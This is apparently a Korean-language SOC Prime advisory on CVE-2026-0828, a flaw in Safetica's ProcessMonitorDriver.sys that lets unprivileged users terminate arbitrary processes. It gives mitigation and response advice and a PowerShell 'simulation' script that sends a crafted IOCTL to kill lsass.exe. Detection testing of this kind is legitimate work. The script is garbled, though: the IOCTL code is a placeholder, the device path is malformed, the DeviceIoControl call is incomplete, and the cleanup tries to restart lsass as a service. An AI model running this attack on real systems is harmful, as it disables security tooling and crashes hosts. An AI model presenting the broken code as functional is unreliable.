SOC Prime Bias: 심각

26 1월 2026 21:54

Safetica 커널 드라이버 취약점 포함

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
Safetica 커널 드라이버 취약점 포함
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

Safetica의 ProcessMonitorDriver.sys 커널 드라이버에서 발견된 결함은 권한이 없는 사용자가 IOCTL 인터페이스를 악용하여 임의의 시스템 프로세스를 종료할 수 있도록 합니다. 이는 서비스 거부와 영향받은 엔드포인트에서 보안 도구의 중단을 가능하게 하며, EDR 에이전트와 다른 중요한 서비스를 종료시켜 신속하게 방어 범위를 줄일 수 있습니다. 현재 공급업체 패치는 제공되지 않고 있습니다.

조사

보고서는 Safetica DLP 클라이언트 버전 전반에서 ProcessMonitorDriver.sys의 CVE-2026-0828을 문서화하고 있습니다. 입력 검증이 약해서 프로세스 종료가 조작된 IOCTL 호출을 통해 드라이버 권한 상승으로 발생할 수 있다는 것을 보여줍니다. 엔드포인트 보안 모니터링에 대한 영향을 강조합니다.

완화

드라이버에 대한 의심스러운 IOCTL 호출을 모니터하고, EDR 또는 호스트 원격 측정에 의존하며, Windows 그룹 정책, WDAC, 또는 AppLocker를 사용하여 드라이버 접근을 제한하십시오. 픽스가 릴리스될 때까지는 ProcessMonitorDriver.sys와 상호작용하는 신뢰할 수 없는 바이너리를 차단하십시오.

대응

ProcessMonitorDriver.sys를 대상으로 하는 비정상적인 IOCTL 활동을 탐지하고, 영향을 받은 시스템을 격리하며, 드라이버 접근을 차단하는 정책 제어를 적용하십시오. 로깅을 증가시키고, 권한이 없는 상호작용에 경고를 설정하며, 드라이버를 비활성화하는 것을 일시적인 해결책으로 고려하십시오.

공격 흐름

이 부분은 아직 업데이트 중입니다. 알림을 받으려면 가입하세요.

알림 받기

시뮬레이션 실행

전제 조건: 원격 측정 및 기준점 비행 전 확인을 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 공격자 기술(TTP)의 정확한 실행을 설명합니다. 명령어와 내러티브는 식별된 TTP를 직접 반영하고 탐지 논리에 의해 기대되는 정확한 원격 측정을 생성해야 합니다.

  • 공격 내러티브 & 명령:
    레드팀 운영자는 취약한 ProcessMonitorDriver.sys 드라이버를 악용하여 임의의 고권한 프로세스를 종료(하는 것을 목표로 합니다 (lsass.exe). 이를 위해 드라이버가 목표 PID의 핸들을 닫도록 지시하는 악의적인 IOCTL 페이로드를 만들어 실행 흐름을 탈취(T1574)하고 일반적인 방어 메커니즘을 회피(T1211)합니다. 단계는 다음과 같습니다:

    1. 의 PID를 확인합니다 lsass.exe.
    2. 취약한 드라이버에 핸들을 엽니다 (.ProcessMonitorDriver).
    3. 프로세스 종료를 트리거하는 명령 코드와 대상 PID를 포함하는 IOCTL 버퍼를 생성합니다.
    4. 호출합니다 DeviceIoControl 악의적인 제어 코드로 (0xdeadbeef).
    5. 드라이버 핸들을 닫습니다.
  • 회귀 테스트 스크립트:

    # ProcessMonitorDriver.sys에 대한 Exploit 시뮬레이션 (CVE‑2026‑0828)
    # -------------------------------------------------------------
    # 이 스크립트는 취약한 드라이버에 악의적인 IOCTL을 전송하여
    # LSASS 프로세스를 종료시켜 탐지 규칙이 감시하는 Sysmon EventID 10을 생성합니다.
    
    # 1. LSASS PID 찾기
    $targetProcess = Get-Process -Name lsass -ErrorAction Stop
    $targetPid = $targetProcess.Id
    Write-Host "Target PID (lsass): $targetPid"
    
    # 2. 드라이버에 핸들 열기
    $driverPath = ".ProcessMonitorDriver"
    $file = [System.IO.File]::Open($driverPath, 'Open', 'ReadWrite', 'None')
    $handle = $file.SafeFileHandle
    
    # 3. 악의적인 IOCTL 버퍼 생성 (PID + 더미 데이터)
    $bufferSize = 8
    $buffer = New-Object byte[] $bufferSize
    [BitConverter]::GetBytes([uint32]$targetPid).CopyTo($buffer, 0)
    [BitConverter]::GetBytes([uint32]0xFFFFFFFF).CopyTo($buffer, 4) # filler
    
    # 4. 악의적인 IOCTL 코드 정의 (예: 0xdeadbeef)
    $ioctlCode = 0xdeadbeef
    
    # 5. P/Invoke를 통해 DeviceIoControl 호출
    $signature = @"
    using System;
    using System.Runtime.InteropServices;
    public class NativeMethods {
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool DeviceIoControl(
            IntPtr hDevice,
            uint dwIoControlCode,
            byte[] lpInBuffer,
            int nInBufferSize,
            byte[] lpOutBuffer,
            int nOutBufferSize,
            out int lpBytesReturned,
            IntPtr lpOverlapped);
    }
    "@
    Add-Type $signature
    
    $bytesReturned = 0
    $outBuffer = New-Object byte[] 0
    $result = [NativeMethods]::DeviceIoControl(
                  $handle,
                  $ioctlCode,
                  $buffer,
                  $buffer.Length,
                  $outBuffer,
                  0,
                  [ref]$bytesReturned,
    
    if ($result) {
        Write-Host "IOCTL가 성공적으로 전송되었습니다 – LSASS 종료가 발생했을 수 있습니다."
    } else {
        $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
        Write-Error "DeviceIoControl 실패 (오류 $err)."
    }
    
    # 6. 정리
    $file.Close()
  • 정리 명령:

    # 남아 있는 드라이버 핸들 제거 (최선의 노력)
    # LSASS가 종료된 경우 재시작 보장 (안전한 실험실을 위해)
    if (Get-Process -Name lsass -ErrorAction SilentlyContinue) {
        Write-Host "LSASS가 여전히 실행 중 – 정리 불필요."
    } else {
        Write-Host "LSASS 재시작 중 (관리자 권한 필요)…"
        # 테스트 머신에서는 재부팅하거나 서비스 재시작 cmdlet을 사용할 수 있습니다.
        # Restart-Service -Name "lsass" -Force
    }